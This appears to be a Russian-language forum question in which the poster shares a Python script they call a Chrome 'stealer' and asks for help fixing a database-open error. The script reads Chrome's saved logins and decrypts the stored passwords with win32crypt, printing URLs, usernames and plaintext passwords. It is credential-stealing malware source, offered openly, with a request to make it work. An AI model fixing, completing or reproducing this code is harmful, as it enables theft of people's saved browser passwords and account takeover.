Есть вот такой скрипт на Python:
import os
import sqlite3
import win32crypt
def connectDb():
dBpath = os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default'
connectionObj=sqlite3.connect(dBpath)
cursorObj=connectionObj.cursor()
statement="SELECT origin_url,username_value,password_value FROM logins"
cursorObj.execute(statement)
data=cursorObj.fetchall()
for url,username,password in data:
password=win32crypt.CryptUnprotectData(password)
print(f"url: {url},username: {username},password:{password[1].decode('utf-8')}")
print("......................................................................")
connectDb()
Это стиллер для Chrome.
Все делал вроде правильно, но при запуске выдает ошибку:
Traceback (most recent call last):
File "C:\Users\User\source\repos\Steller\Steller\Steller.py", line 17, in
connectDb()
File "C:\Users\User\source\repos\Steller\Steller\Steller.py", line 7, in connectDb
connectionObj=sqlite3.connect(dBpath)
sqlite3.OperationalError: unable to open database file
Chrome при запуске был закрыт.
Помогите исправить!